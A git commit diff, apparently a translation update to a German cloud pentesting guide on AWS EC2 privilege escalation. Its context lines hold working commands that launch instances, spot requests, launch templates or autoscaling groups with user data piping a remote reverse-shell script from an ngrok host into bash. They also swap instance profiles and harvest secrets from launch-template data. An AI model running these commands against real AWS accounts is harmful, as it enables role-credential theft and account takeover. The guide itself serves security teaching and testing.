Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-10 12:03:45 +00:00
parent e0783f9389
commit f66432cb43
7 changed files with 499 additions and 262 deletions

View File

@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
```
- **Zugriff über rev shell in Benutzerdaten**
Sie können eine neue Instanz mit **Benutzerdaten** (`--user-data`) starten, die Ihnen eine **rev shell** sendet. Auf diese Weise müssen Sie keine Sicherheitsgruppe angeben.
Sie können eine neue Instanz mit **Benutzerdaten** (`--user-data`) starten, die Ihnen eine **rev shell** sendet. Sie müssen auf diese Weise keine Sicherheitsgruppe angeben.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Sei vorsichtig mit GuardDuty, wenn du die Anmeldeinformationen der IAM-Rolle außerhalb der Instanz verwendest:
Sei vorsichtig mit GuradDuty, wenn du die Anmeldeinformationen der IAM-Rolle außerhalb der Instanz verwendest:
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -67,7 +67,7 @@ aws-ecs-privesc.md
Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:RegisterContainerInstance` haben, könnten Sie in der Lage sein, die Instanz im Cluster zu registrieren und den kommentierten Angriff durchzuführen.
**Potenzielle Auswirkungen:** Direkter Privilegieneskalation zu ECS-Rollen, die an Aufgaben angehängt sind.
**Potenzielle Auswirkungen:** Direkter Privilegienausbau zu ECS-Rollen, die an Aufgaben angehängt sind.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
@@ -80,36 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Wenn das **Instanzprofil eine Rolle hat** und der Angreifer **diese nicht entfernen kann**, gibt es einen anderen Workaround. Er könnte **ein Instanzprofil ohne Rolle finden** oder **ein neues erstellen** (`iam:CreateInstanceProfile`), **die Rolle** zu diesem **Instanzprofil hinzufügen** (wie zuvor besprochen) und **das Instanzprofil** mit einer kompromittierten Instanz verknüpfen:
Wenn das **Instanzprofil eine Rolle hat** und der Angreifer **diese nicht entfernen kann**, gibt es einen anderen Workaround. Er könnte **ein Instanzprofil ohne Rolle finden** oder **ein neues erstellen** (`iam:CreateInstanceProfile`), **die Rolle** zu diesem **Instanzprofil hinzufügen** (wie zuvor besprochen) und **das Instanzprofil** mit einer kompromittierten Instanz **verknüpfen:**
- Wenn die Instanz **kein Instanzprofil hat** (`ec2:AssociateIamInstanceProfile`) \*
- Wenn die Instanz **kein Instanzprofil hat** (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus besitzen).
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und über zusätzliche Berechtigungen oder einen bestimmten Instanzprofilstatus verfügen).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Mit diesen Berechtigungen ist es möglich, das Instanzprofil, das mit einer Instanz verbunden ist, zu ändern. Wenn der Angriff bereits Zugriff auf eine Instanz hatte, kann er Anmeldeinformationen für weitere Instanzprofilrollen stehlen, indem er das damit verbundene ändert.
- Wenn es **ein Instanzprofil hat**, können Sie das Instanzprofil **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **assoziieren** \*
- Wenn es **ein Instanzprofil hat**, können Sie das Instanzprofil **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **assoziieren**.
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- oder **ersetzen** Sie das **Instanzprofil** der kompromittierten Instanz (`ec2:ReplaceIamInstanceProfileAssociation`). \*
````
- oder **ersetzen** Sie das **Instanzprofil** der kompromittierten Instanz (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus besitzen).
### `ec2:RequestSpotInstances`,`iam:PassRole`
Ein Angreifer mit den Berechtigungen **`ec2:RequestSpotInstances`und`iam:PassRole`** kann eine **Spot-Instanz** mit einer **angehängten EC2-Rolle** und einer **rev shell** in den **Benutzerdaten** **anfordern**.\
Sobald die Instanz ausgeführt wird, kann er die **IAM-Rolle** **stehlen**.
Sobald die Instanz ausgeführt wird, kann er die **IAM-Rolle stehlen**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` und `ec2:ModifyLaunchTemplate`** kann eine **neue Launch-Template-Version** mit einer **Rev-Shell in** den **Benutzerdaten** und **jeder EC2 IAM-Rolle darauf** erstellen, die Standardversion ändern, und **jede Autoscaler-Gruppe**, die dieses **Launch-Template** verwendet und so **konfiguriert** ist, dass sie die **neueste** oder die **Standardversion** verwendet, wird die **Instanzen** mit diesem Template **erneut starten** und die Rev-Shell ausführen.
Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` und `ec2:ModifyLaunchTemplate`** kann eine **neue Launch-Template-Version** mit einer **Rev Shell in** den **Benutzerdaten** und **jeder EC2 IAM-Rolle darauf** erstellen, die Standardversion ändern, und **jede Autoscaler-Gruppe**, die dieses **Launch-Template** verwendet und so **konfiguriert** ist, die **neueste** oder die **Standardversion** zu verwenden, wird die **Instanzen** mit diesem Template **erneut starten** und die Rev Shell ausführen.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -182,7 +180,7 @@ aws ec2 modify-launch-template \
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch-Konfiguration erstellen** mit einer **IAM-Rolle** und einer **rev shell** im **Benutzerdaten**, dann **eine Autoscaling-Gruppe** aus dieser Konfiguration erstellen und auf die rev shell warten, um **die IAM-Rolle zu stehlen**.
Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Startkonfiguration erstellen** mit einer **IAM-Rolle** und einer **rev shell** im **Benutzerdaten**, dann **eine Autoskalierungsgruppe** aus dieser Konfiguration erstellen und auf die rev shell warten, um **die IAM-Rolle zu stehlen**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -202,7 +200,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
### `!autoscaling`
Die Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reichen nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, da Sie zur Anfügung der im Launch Configuration oder im Launch Template angegebenen Rolle **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigen** (was eine bekannte Privilegieneskalation ist).
Die Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reichen nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, da Sie zur Anfügung der in der Launch-Konfiguration oder im Launch-Template angegebenen Rolle **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigen** (was eine bekannte Privilegieneskalation ist).
### `ec2-instance-connect:SendSSHPublicKey`
@@ -237,7 +235,7 @@ Dieser Weg ist nicht besonders nützlich für privesc, da man einen Benutzername
### `describe-launch-templates`,`describe-launch-template-versions`
Da Launch-Templates versioniert sind, könnte ein Angreifer mit **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** Berechtigungen diese ausnutzen, um sensible Informationen zu entdecken, wie z.B. Anmeldeinformationen, die in Benutzerdaten vorhanden sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren Launch-Templates:
Da Launch-Vorlagen versioniert sind, könnte ein Angreifer mit **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** Berechtigungen diese ausnutzen, um sensible Informationen zu entdecken, wie z.B. Anmeldeinformationen, die in Benutzerdaten vorhanden sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren Launch-Vorlagen:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do